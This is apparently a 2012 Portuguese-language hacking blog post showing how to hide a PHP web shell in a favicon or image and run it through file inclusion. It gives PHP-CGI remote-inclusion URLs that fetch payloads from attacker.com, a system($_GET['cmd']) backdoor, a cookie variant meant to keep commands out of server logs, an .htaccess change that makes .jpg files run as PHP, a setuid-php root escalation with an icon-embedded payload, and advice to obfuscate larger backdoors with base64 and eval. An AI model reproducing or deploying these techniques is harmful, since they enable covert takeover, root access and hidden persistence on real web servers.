Backdoor PHP Favicon/Imagens - Web Shell Root
Autor: Crash | Publicado: 2012-08-23T16:01:00-07:00

Bom pessoal, vou iniciar este post esclarecendo algumas coisas:

A alguns dias foi levantada uma discussão sobre LFI´s e RFI por causa da falha do PHP CGI.
Resumindo, ao se fazer um RFI nesta falha pouco importa qual seja a extensão do arquivo&nbsp;incluído, podendo ser .txt, .gif, .jpg, .ico ou té mesmo .php, desde que, o servidor onde o arquivo .php esteja hospedado não faça interpretação.

&nbsp;Ex: http://alvo.com/bug.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dhttp://attacker.com/cmd.txt

&nbsp;Ex: http://alvo.com/bug.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dhttp://attacker.com/cmd.gif

&nbsp;Ex: http://alvo.com/bug.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dhttp://attacker.com/cmd.php

Como mencionei, no 3 exemplo o servidor attacker não pode ter/fazer interpretação de arquivos .php
Mais pra baixo vou explicar porque o extensão não faz diferença.

Vamos ao que interessa:

A ideia aqui é implantar um backdoor acessá-lo através de LFI de uma forma não muito usual.
Para isto vamos usar o Favicon, ele foi escolhido pois fiz vários testes com figuras e muitas apresentaram problemas de execução do código devido ao caracteres utilizados a formação da imagem, já a Favicon é bem simples e possui poucos caracteres, diminuindo assim a possibilidade de problemas de execução.

Criei um favicon neste site, bem simples, apenas escrito DC com letras azuis.
&nbsp; &nbsp; 





Vamos dar uma olhada nele no editor hexa:




























No Chrome ele é exibido no canto esquerdo superior &nbsp;da aba:










No IE ele fica na barra de endereços:










Acesso direto:













Agora vamos altera-lo e acrescentar a seguinte linha:
&lt;?php system($_GET['cmd']; ?&gt; Que efetivamente vai ser nosso backdoor.
Você pode trocar a função system pela sua de preferencia.













Ao fazer o request novamente, ele continua a ser visualizado sem problemas, mesmo depois do código PHP ter sido acrescentado. Até ai tudo ok!






















Agora fazemos o include do arquivo e passamos os comandos:
http://srvlfi.dc/lfi.php?inc=favicon.ico&amp;cmd=id















Depois disso tudo, vamos entender o porque isso acontece:

A função include (e similares) do PHP, ignoram complemente a extensão do arquivo e joga todo seu conteúdo para dentro do .php base, neste caso o lfi.php, então, oque interessa é somente o conteúdo do arquivo. O PHP por sua vez ao encontrar um novo &lt;?php, executa o código até encontrar ?&gt;, ou seja, o final das instruções PHP para aquele bloco de código.

O problema de usar esta técnica é o lixo exibido na tela, justamente pelo comportamento das funções de include, que jogam o conteúdo do arquivo até achar os marcadores do PHP.


Outro ponto importante seria utilizar cookies para passar os comandos para o PHP, assim, seria evitado que os comandos fossem enviados por GET ou POST e poluindo ainda mais o Log do servidor.









Log sem cookie:&nbsp;&nbsp;[23/Aug/2012:08:59:38 -0300] "GET /lfi.php?lfi=oi2.gif&amp;cmd=uname%20-a HTTP/1.1" 200 384 "-" "Mozilla/5.0

Log utilizando comando por cookie:&nbsp;&nbsp;[23/Aug/2012:09:01:13 -0300] "GET /lfi.php?lfi=oi.gif HTTP/1.1" 200 384 "-" "Mozilla/5.0

O código para esta implementação é bem simples:

setcookie("cmd_cookie", "id");
system($_COOKIE["cmd_cookie"]);

Basta alterar o valor do cookie com sua ferramentas preferida.

Fazendo uma pesquisa rápida junto com o Psylon, encontramos este&nbsp;Post, que fala sobre adicionar código php em imagem, porém, é necessário adicionar informação no htaccess.&nbsp;Esta linha irá fazer com que o interpretador do php entende que arquivos .jpg também sejam interpretados.

root@webtestbed:/var/www/media# echo “AddType application/x-httpd-php .jpg” &gt;&gt; .htaccess

Agora partindo so suposto que que isso tudo que fizemos é um pós exploitation e que o pesquisador acima fez alterações em arquivos foi feito o seguinte:Setado um suid no binário do phpchmod 4755 /usr/bin/php5 (o endereço pode/vai variar de acordo o sabor do linux)
root@srvlfi:/var/www# ls -al /usr/bin/php5
-rwsr-xr-x 1 root root 7463060 2012-02-11 05:07 /usr/bin/php5Criado um icone com nome de suid.ico com o seguinte código(claro, no final do arquivo depois do código do próprio ícone):
&lt;?php
posix_seteuid(0);
passthru($argv[1]);
?&gt;



Neste caso foi utilizada a variável $argv[1] para receber o valor, pois mesmo com suid no binário do php não possível elevar o privilégio utilizado a&nbsp;posix_seteuid, devido a arquitetura e proteções empregadas(nem sempre foi assim), então, para contornar, a ideia foi fazer a própria backdoor executar o binário suid do php passando o caminho do ícone maligno jutamente com comando a ser executado como root. Como podem ver na abaixo, logo $argv[1] tem o valor id;uname -a
&nbsp; 
&nbsp;http://srvlfi.dc/oi.php?cmd=/usr/bin/php5%20/var/www/suid.ico%20%22id;uname%20-a%22Obs: Para comandos com argumentos por exemplo uname -a, é necessário utilizar aspas duplas, para indicar que o comando é apenas um, caso contrário, o php irá entender que "-a" é o terceiro argumento do array - $argv[2]E sim, TERCEIRO argumento, caso tenha dúvida consulte o link de $argv[1].









Outra dica é: Caso o código do seu backdoor esteja ficando grande, use as funções de enconding base64 e a função eval do php.


Espero ter contribuído.Thanks to:&nbsp;@l0c4lh05t &nbsp;-&nbsp;@gmlnetMe: @crashbrz